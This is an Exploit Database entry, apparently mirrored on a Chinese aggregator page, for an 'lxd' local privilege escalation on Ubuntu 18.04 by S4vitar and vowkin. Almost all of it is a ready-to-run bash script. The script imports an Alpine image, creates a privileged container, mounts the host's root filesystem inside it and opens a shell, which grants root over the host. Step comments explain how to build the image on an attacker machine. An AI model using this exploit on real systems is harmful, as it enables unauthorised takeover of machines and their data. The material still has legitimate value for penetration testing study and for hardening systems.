Ubuntu 18.04 – ‘lxd’ Privilege Escalation

• Exploit Database
• 48 阅读

• 作者： s4vitar
  日期： 2019-06-10
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/46978/

• #!/usr/bin/env bash
  
  # ----------------------------------
  # Authors: Marcelo Vazquez (S4vitar)
  #	 Victor Lasa(vowkin)
  # ----------------------------------
  
  # Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]
  # Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]
  # Step 3: Run this script and you will get root [Victim Machine]
  # Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine
  
  function helpPanel(){
  echo -e "\nUsage:"
  echo -e "\t[-f] Filename (.tar.gz alpine file)"
  echo -e "\t[-h] Show this help panel\n"
  exit 1
  }
  
  function createContainer(){
  lxc image import $filename --alias alpine && lxd init --auto
  echo -e "[*] Listing images...\n" && lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
  }
  
  function cleanup(){
  echo -en "\n[*] Removing container..."
  lxc stop privesc && lxc delete privesc && lxc image delete alpine
  echo " [√]"
  }
  
  set -o nounset
  set -o errexit
  
  declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
  f) filename=$OPTARG && let parameter_enable+=1;;
  h) helpPanel;;
  esac
  done
  
  if [ $parameter_enable -ne 1 ]; then
  helpPanel
  else
  createContainer
  fi